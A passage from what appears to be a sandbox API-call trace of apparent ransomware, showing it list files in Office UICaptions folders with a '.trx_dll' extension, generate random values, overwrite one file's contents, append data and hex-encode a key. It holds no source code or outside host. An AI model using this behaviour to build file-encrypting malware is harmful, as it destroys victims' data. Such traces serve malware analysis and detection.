_String2="..") returned 1 [0126.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b85c8d0 [0126.644] wcscpy (in: _Dest=0x1b85c8d0, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0126.644] wcscat (in: _Dest=0x1b85c8d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0126.644] wcscat (in: _Dest=0x1b85c8d0, _Source="VISINTL.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll" [0126.644] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85c8d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15e4 [0126.645] FindNextFileW (in: hFindFile=0x1cd9de50, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb31c100, ftCreationTime.dwHighDateTime=0x1cacd25, ftLastAccessTime.dwLowDateTime=0xef0ca650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb31c100, ftLastWriteTime.dwHighDateTime=0x1cacd25, nFileSizeHigh=0x0, nFileSizeLow=0x25b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWINTL.DLL.trx_dll", cAlternateFileName="WWINTL~1.TRX")) returned 1 [0126.645] wcscmp (_String1="WWINTL.DLL.trx_dll", _String2=".") returned 1 [0126.645] wcscmp (_String1="WWINTL.DLL.trx_dll", _String2="..") returned 1 [0126.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b85b9a0 [0126.645] wcscpy (in: _Dest=0x1b85b9a0, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0126.645] wcscat (in: _Dest=0x1b85b9a0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0126.645] wcscat (in: _Dest=0x1b85b9a0, _Source="WWINTL.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll" [0126.645] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85b9a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17f8 [0126.646] FindNextFileW (in: hFindFile=0x1cd9de50, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb31c100, ftCreationTime.dwHighDateTime=0x1cacd25, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb31c100, ftLastWriteTime.dwHighDateTime=0x1cacd25, nFileSizeHigh=0x0, nFileSizeLow=0x115b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWINTL.REST.trx_dll", cAlternateFileName="WWINTL~2.TRX")) returned 1 [0126.646] wcscmp (_String1="WWINTL.REST.trx_dll", _String2=".") returned 1 [0126.646] wcscmp (_String1="WWINTL.REST.trx_dll", _String2="..") returned 1 [0126.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b85ca80 [0126.646] wcscpy (in: _Dest=0x1b85ca80, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0126.646] wcscat (in: _Dest=0x1b85ca80, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0126.646] wcscat (in: _Dest=0x1b85ca80, _Source="WWINTL.REST.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll" [0126.646] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85ca80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfd0 [0126.647] FindNextFileW (in: hFindFile=0x1cd9de50, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6b688100, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6b688100, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x25360, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLINTL32.DLL.trx_dll", cAlternateFileName="XLINTL~1.TRX")) returned 1 [0126.648] wcscmp (_String1="XLINTL32.DLL.trx_dll", _String2=".") returned 1 [0126.648] wcscmp (_String1="XLINTL32.DLL.trx_dll", _String2="..") returned 1 [0126.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x2027a3d0 [0126.648] wcscpy (in: _Dest=0x2027a3d0, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0126.648] wcscat (in: _Dest=0x2027a3d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0126.648] wcscat (in: _Dest=0x2027a3d0, _Source="XLINTL32.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll" [0126.648] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027a3d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x181c [0126.649] FindNextFileW (in: hFindFile=0x1cd9de50, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a375400, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a375400, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x137960, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLINTL32.REST.trx_dll", cAlternateFileName="XLINTL~2.TRX")) returned 1 [0126.649] wcscmp (_String1="XLINTL32.REST.trx_dll", _String2=".") returned 1 [0126.649] wcscmp (_String1="XLINTL32.REST.trx_dll", _String2="..") returned 1 [0126.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027b9b0 [0126.649] wcscpy (in: _Dest=0x2027b9b0, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0126.649] wcscat (in: _Dest=0x2027b9b0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0126.649] wcscat (in: _Dest=0x2027b9b0, _Source="XLINTL32.REST.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll" [0126.649] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027b9b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1070 [0126.650] FindNextFileW (in: hFindFile=0x1cd9de50, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe092000, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe092000, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSLICER.DLL.trx_dll", cAlternateFileName="XLSLIC~1.TRX")) returned 1 [0126.650] wcscmp (_String1="XLSLICER.DLL.trx_dll", _String2=".") returned 1 [0126.650] wcscmp (_String1="XLSLICER.DLL.trx_dll", _String2="..") returned 1 [0126.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x2027b5f0 [0126.650] wcscpy (in: _Dest=0x2027b5f0, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0126.650] wcscat (in: _Dest=0x2027b5f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0126.650] wcscat (in: _Dest=0x2027b5f0, _Source="XLSLICER.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll" [0126.650] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027b5f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10bc [0126.651] FindNextFileW (in: hFindFile=0x1cd9de50, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe092000, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe092000, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSLICER.DLL.trx_dll", cAlternateFileName="XLSLIC~1.TRX")) returned 0 [0126.651] FindClose (in: hFindFile=0x1cd9de50 | out: hFindFile=0x1cd9de50) returned 1 [0126.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027d6a0) returned 1 [0126.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9860) returned 1 [0126.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ecd0) returned 1 Thread: id = 1258 os_tid = 0xd5c [0115.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1ced97f0 [0115.780] wcscpy (in: _Dest=0x1ced97f0, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" [0115.780] wcscat (in: _Dest=0x1ced97f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0115.780] wcscat (in: _Dest=0x1ced97f0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\*") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\*" [0115.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027d910 [0115.780] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\*", lpFindFileData=0x2027d910 | out: lpFindFileData=0x2027d910*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9ddf0 [0115.873] wcscmp (_String1=".", _String2=".") returned 0 [0115.873] FindNextFileW (in: hFindFile=0x1cd9ddf0, lpFindFileData=0x2027d910 | out: lpFindFileData=0x2027d910*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.913] wcscmp (_String1="..", _String2=".") returned 1 [0115.913] wcscmp (_String1="..", _String2="..") returned 0 [0115.913] FindNextFileW (in: hFindFile=0x1cd9ddf0, lpFindFileData=0x2027d910 | out: lpFindFileData=0x2027d910*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x302da400, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x302da400, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPR.DLL.trx_dll", cAlternateFileName="ENVELO~1.TRX")) returned 1 [0115.913] wcscmp (_String1="ENVELOPR.DLL.trx_dll", _String2=".") returned 1 [0115.913] wcscmp (_String1="ENVELOPR.DLL.trx_dll", _String2="..") returned 1 [0115.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7ad8e0 [0115.913] wcscpy (in: _Dest=0x1b7ad8e0, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" [0115.913] wcscat (in: _Dest=0x1b7ad8e0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0115.914] wcscat (in: _Dest=0x1b7ad8e0, _Source="ENVELOPR.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll" [0151.268] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\3082\\envelopr.dll.trx_dll")) returned 0x2020 [0151.308] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll", dwFileAttributes=0x20) [0194.915] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\3082\\envelopr.dll.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14c4 [0194.916] GetFileSizeEx (in: hFile=0x14c4, lpFileSize=0x39ebfb80 | out: lpFileSize=0x39ebfb80*=14176) returned 1 [0194.917] SetFilePointerEx (in: hFile=0x14c4, liDistanceToMove=0x375c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.917] ReadFile (in: hFile=0x14c4, lpBuffer=0x39ebfb00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x39ebfb48, lpOverlapped=0x0 | out: lpBuffer=0x39ebfb00*, lpNumberOfBytesRead=0x39ebfb48*=0x4, lpOverlapped=0x0) returned 1 [0197.441] SetFilePointerEx (in: hFile=0x14c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431371e0 [0197.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43137210 [0197.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43137120 [0197.442] NtQuerySystemTime (in: CurrentTime=0x39ebfa40 | out: CurrentTime=0x39ebfa40*=132462178025422000) returned 0x0 [0197.442] RtlRandomEx (in: Seed=0x39ebfa30 | out: Seed=0x39ebfa30) returned 0x59d43ca6 [0197.442] RtlRandomEx (in: Seed=0x39ebfa30 | out: Seed=0x39ebfa30) returned 0x765d3740 [0197.442] RtlRandomEx (in: Seed=0x39ebfa30 | out: Seed=0x39ebfa30) returned 0x7c6986b9 [0197.442] RtlRandomEx (in: Seed=0x39ebfa30 | out: Seed=0x39ebfa30) returned 0xc6b046d [0197.442] RtlRandomEx (in: Seed=0x39ebfa30 | out: Seed=0x39ebfa30) returned 0x160b9f13 [0197.442] RtlRandomEx (in: Seed=0x39ebfa30 | out: Seed=0x39ebfa30) returned 0x714b44e4 [0197.442] RtlRandomEx (in: Seed=0x39ebfa30 | out: Seed=0x39ebfa30) returned 0x496d32d8 [0197.442] RtlRandomEx (in: Seed=0x39ebfa30 | out: Seed=0x39ebfa30) returned 0x13f261df [0197.442] RtlRandomEx (in: Seed=0x39ebfa30 | out: Seed=0x39ebfa30) returned 0x3f71f31 [0197.443] RtlRandomEx (in: Seed=0x39ebfa30 | out: Seed=0x39ebfa30) returned 0x2acad681 [0197.443] RtlRandomEx (in: Seed=0x39ebfa30 | out: Seed=0x39ebfa30) returned 0x742923f3 [0197.443] RtlRandomEx (in: Seed=0x39ebfa30 | out: Seed=0x39ebfa30) returned 0x4c37e0a [0197.443] RtlRandomEx (in: Seed=0x39ebfa30 | out: Seed=0x39ebfa30) returned 0x420172d0 [0197.443] RtlRandomEx (in: Seed=0x39ebfa30 | out: Seed=0x39ebfa30) returned 0x76f9f62d [0197.443] RtlRandomEx (in: Seed=0x39ebfa30 | out: Seed=0x39ebfa30) returned 0x40d126d3 [0197.443] RtlRandomEx (in: Seed=0x39ebfa30 | out: Seed=0x39ebfa30) returned 0x5a018013 [0197.443] RtlRandomEx (in: Seed=0x39ebfa30 | out: Seed=0x39ebfa30) returned 0x37719e0f [0197.443] RtlRandomEx (in: Seed=0x39ebfa30 | out: Seed=0x39ebfa30) returned 0x210ff01f [0197.443] RtlRandomEx (in: Seed=0x39ebfa30 | out: Seed=0x39ebfa30) returned 0x48bb9cba [0197.443] RtlRandomEx (in: Seed=0x39ebfa30 | out: Seed=0x39ebfa30) returned 0x3f3e3920 [0197.443] RtlRandomEx (in: Seed=0x39ebfa30 | out: Seed=0x39ebfa30) returned 0x529d1bd6 [0197.443] RtlRandomEx (in: Seed=0x39ebfa30 | out: Seed=0x39ebfa30) returned 0x76f750b2 [0197.443] RtlRandomEx (in: Seed=0x39ebfa30 | out: Seed=0x39ebfa30) returned 0x74dd8627 [0197.443] RtlRandomEx (in: Seed=0x39ebfa30 | out: Seed=0x39ebfa30) returned 0x54639c2 [0197.443] RtlRandomEx (in: Seed=0x39ebfa30 | out: Seed=0x39ebfa30) returned 0x32f1a01 [0197.443] RtlRandomEx (in: Seed=0x39ebfa30 | out: Seed=0x39ebfa30) returned 0x7c20aaf3 [0197.443] RtlRandomEx (in: Seed=0x39ebfa30 | out: Seed=0x39ebfa30) returned 0x69e61ceb [0197.443] RtlRandomEx (in: Seed=0x39ebfa30 | out: Seed=0x39ebfa30) returned 0x2f13bc0b [0197.443] RtlRandomEx (in: Seed=0x39ebfa30 | out: Seed=0x39ebfa30) returned 0x4a598595 [0197.443] RtlRandomEx (in: Seed=0x39ebfa30 | out: Seed=0x39ebfa30) returned 0x7ad88934 [0197.443] RtlRandomEx (in: Seed=0x39ebfa30 | out: Seed=0x39ebfa30) returned 0x3e698fd5 [0197.443] RtlRandomEx (in: Seed=0x39ebfa30 | out: Seed=0x39ebfa30) returned 0x2ebfa159 [0197.451] ReadFile (in: hFile=0x14c4, lpBuffer=0x424a69f0, nNumberOfBytesToRead=0x3760, lpNumberOfBytesRead=0x39ebfa30, lpOverlapped=0x0 | out: lpBuffer=0x424a69f0*, lpNumberOfBytesRead=0x39ebfa30*=0x3760, lpOverlapped=0x0) returned 1 [0197.692] SetFilePointerEx (in: hFile=0x14c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.692] WriteFile (in: hFile=0x14c4, lpBuffer=0x4247d540*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x39ebfa34, lpOverlapped=0x0 | out: lpBuffer=0x4247d540*, lpNumberOfBytesWritten=0x39ebfa34*=0x3760, lpOverlapped=0x0) returned 1 [0213.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2f00 [0213.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1070 [0213.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb1070) returned 1 [0213.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4247d540) returned 1 [0213.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424a69f0) returned 1 [0213.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869bc0) returned 1 [0213.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058560) returned 1 [0213.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x431ac8a0 [0213.622] SetFilePointerEx (in: hFile=0x14c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0216.704] WriteFile (in: hFile=0x14c4, lpBuffer=0x42c215f0*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x39ebfb50, lpOverlapped=0x0 | out: lpBuffer=0x42c215f0*, lpNumberOfBytesWritten=0x39ebfb50*=0x11a, lpOverlapped=0x0) returned 1 [0222.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61240 [0222.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c4c0 [0222.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x180400 [0222.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x180400) returned 1 [0222.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x180400 [0222.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860f90 [0222.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8611a0 [0222.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8611a0) returned 1 [0222.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c4c0) returned 1 [0222.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61240) returned 1 [0222.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x431fa560 [0222.126] sprintf (in: _Dest=0x431fa560, _Format="%c%c" | out: _Dest="6d") returned 2 [0222.126] sprintf (in: _Dest=0x431fa562, _Format="%c%c" | out: _Dest="65") returned 2 [0222.126] sprintf (in: _Dest=0x431fa564, _Format="%c%c" | out: _Dest="f2") returned 2 [0222.126] sprintf (in: _Dest=0x431fa566, _Format="%c%c" | out: _Dest="37") returned 2 [0222.126] sprintf (in: _Dest=0x431fa568, _Format="%c%c" | out: _Dest="08") returned 2 [0222.126] sprintf (in: _Dest=0x431fa56a, _Format="%c%c" | out: _Dest="f4") returned 2 [0222.126] sprintf (in: _Dest=0x431fa56c, _Format="%c%c" | out: _Dest="22") returned 2 [0222.126] sprintf (in: _Dest=0x431fa56e, _Format="%c%c" | out: _Dest="bb") returned 2 [0222.126] sprintf (in: _Dest=0x431fa570, _Format="%c%c" | out: _Dest="67") returned 2 [0222.127] sprintf (in: _Dest=0x431fa572, _Format="%c%c" | out: _Dest="07") returned 2 [0222.127] sprintf (in: _Dest=0x431fa574, _Format="%c%c" | out: _Dest="ec") returned 2 [0222.127] sprintf (in: _Dest=0x431fa576, _Format="%c%c" | out: _Dest="a3") returned 2 [0222.127] sprintf (in: _Dest=0x431fa578, _Format="%c%c" | out: _Dest="7f") returned 2 [0222.127] sprintf (in: _Dest=0x431fa57a, _Format="%c%c" | out: _Dest="1f") returned 2 [0222.127] sprintf (in: _Dest=0x431fa57c, _Format="%c%c" | out: _Dest="b3") returned 2 [0222.127] sprintf (in: _Dest=0x431fa57e, _Format="%c%c" | out: _Dest="ea") returned 2 [0222.127] sprintf (in: _Dest=0x431fa580, _Format="%c%c" | out: _Dest="99") returned 2 [0222.127] sprintf (in: _Dest=0x431fa582, _Format="%c%c" | out: _Dest="87") returned 2 [0222.127] sprintf (in: _Dest=0x431fa584, _Format="%c%c" | out: _Dest="bf") returned 2 [0222.127] sprintf (in: _Dest=0x431fa586, _Format="%c%c" | out: _Dest="31") returned 2 [0222.127] sprintf (in: _Dest=0x431fa588, _Format="%c%c" | out: _Dest="14") returned 2 [0222.127] sprintf (in: _Dest=0x431fa58a, _Format="%c%c" | out: _Dest="33") returned 2 [0222.127] sprintf (in: _Dest=0x431fa58c, _Format="%c%c" | out: _Dest="82") returned 2 [0222.127] sprintf (in: _Dest=0x431fa58e, _Format="%c%c" | out: _Dest="7f") returned 2 [0222.127] sprintf (in: _Dest=0x431fa590, _Format="%c%c" | out: _Dest="ee") returned 2 [0222.127] sprintf (in: _Dest=0x431fa592, _Format="%c%c" | out: _Dest="92") returned 2 [0222.127] sprintf (in: _Dest=0x431fa594, _Format="%c%c" | out: _Dest="a9") returned 2 [0222.127] sprintf (in: _Dest=0x431fa596, _Format="%c%c" | out: _Dest="55") returned 2 [0222.127] sprintf (in: _Dest=0x431fa598, _Format="%c%c" | out: _Dest="6d") returned 2 [0222.127] sprintf (in: _Dest=0x431fa59a, _Format="%c%c" | out: _Dest="89") returned 2 [0222.127] sprintf (in: _Dest=0x431fa59c, _Format="%c%c" | out: _Dest="48") returned 2 [0222.127] sprintf (in: _Dest=0x431fa59e, _Format="%c%c" | out: _Dest="8a") returned 2 [0222.127] sprintf (in: _Dest=0x431fa5a0, _Format="%c%c" | out: _Dest="46") returned 2 [0222.127] sprintf (in: _Dest=0x431fa5a2, _Format="%c%c" | out: _Dest="02") returned 2 [0222.127] sprintf (in: _Dest=0x431fa5a4, _Format="%c%c" | out: _Dest="ed") returned 2 [0222.127] sprintf (in: _Dest=0x431fa5a6, _Format="%c%c" | out: _Dest="a0") returned 2 [0222.128] sprintf (in: _Dest=0x431fa5a8, _Format="%c%c" | out: _Dest="ab") returned 2 [0222.128] sprintf (in: 